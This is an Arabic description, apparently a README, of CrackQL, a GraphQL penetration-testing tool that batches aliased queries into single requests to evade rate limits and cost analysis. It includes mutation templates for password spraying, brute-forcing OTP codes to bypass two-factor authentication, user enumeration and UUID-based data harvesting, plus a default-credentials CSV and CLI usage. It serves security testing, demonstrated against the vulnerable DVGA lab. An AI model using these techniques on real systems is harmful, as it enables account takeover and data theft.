
أداة اختبار اختراق GraphQL تستغل حدود معدل ضعيفة وتحليل التكلفة لفرض كلمات المرور بالقوة، وتجاوز المصادقة الثنائية، وتعداد المستخدمين، وتشويش العمليات عبر استعلامات الأسماء المستعارة المجمعة.
CrackQL هي أداة لاختبار اختراق GraphQL تقوم بتخمين كلمات المرور والفحص العشوائي.
CrackQL هي أداة متعددة الاستخدامات لاختبار اختراق GraphQL تستغل ضعف التحكم في معدل الطلب وتحليل التكلفة لتخمين بيانات الاعتماد وفحص العمليات بشكل عشوائي.
تعمل CrackQL عن طريق تجميع استعلام أو تحويلة GraphQL واحدة تلقائيًا إلى عدة عمليات باسم مستعار (alias). تحدد عدد الأسماء المستعارة بناءً على متغيرات الإدخال من ملف CSV. بعد إنشاء وثيقة GraphQL المُجمَّعة برمجيًا، تقوم CrackQL بتجميع وإرسال الحمولات إلى واجهة GraphQL المستهدفة وتحليل النتائج والأخطاء.
يمكن استخدام CrackQL لمجموعة واسعة من هجمات GraphQL لأنها تولد الحمولات برمجيًا بناءً على قائمة من المدخلات الديناميكية.
على عكس Burp Intruder الذي يرسل طلبًا لكل حمولة فريدة، تتجنب CrackQL دفاعات مراقبة معدل طلب HTTP التقليدية باستخدام استعلامات متعددة بأسماء مستعارة لحشو مجموعات كبيرة من بيانات الاعتماد في طلبات HTTP واحدة. لتجاوز دفاعات تحليل تكلفة الاستعلام، يمكن تحسين CrackQL لاستخدام سلسلة من العمليات المجمعة الأصغر (-b) بالإضافة إلى تأخير زمني (-D).
تعتبر CrackQL مثالية ضد نشرات GraphQL التي تستخدم عمليات مصادقة GraphQL داخلية (مثل وحدة مصادقة GraphQL). مثال رش كلمات المرور أدناه يعمل ضد DVGA باستخدام قاموس sample-inputs/users-and-passwords.csv.
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
من الممكن استخدام CrackQL لتجاوز التحقق بخطوتين عن طريق إرسال جميع رموز OTP (كلمة المرور لمرة واحدة).
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
يمكن أيضًا استخدام CrackQL لهجمات التعداد لاكتشاف معرفات المستخدمين الصحيحة وأسماء المستخدمين وعناوين البريد الإلكتروني.
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
يمكن استخدام CrackQL للتكرار على عدد كبير من المعرفات الفريدة المحتملة لتسريب معلومات الكائن.
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
يمكن استخدام CrackQL لعمليات الفحص العشوائي للمدخلات العامة، مثل إرسال حمولات SQLi و XSS المحتملة.
ستقوم CrackQL بتوليد حمولات بناءً على متغيرات الإدخال المحددة بواسطة ملف CSV. تتطلب CrackQL أن يتطابق رأس CSV مع اسم الإدخال.
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
استخدم config.py لتعيين ملفات تعريف الارتباط (cookies) أو الرؤوس (headers) أو البروكسيات (proxies) إذا كان الطرف (endpoint) يتطلب توثيقًا.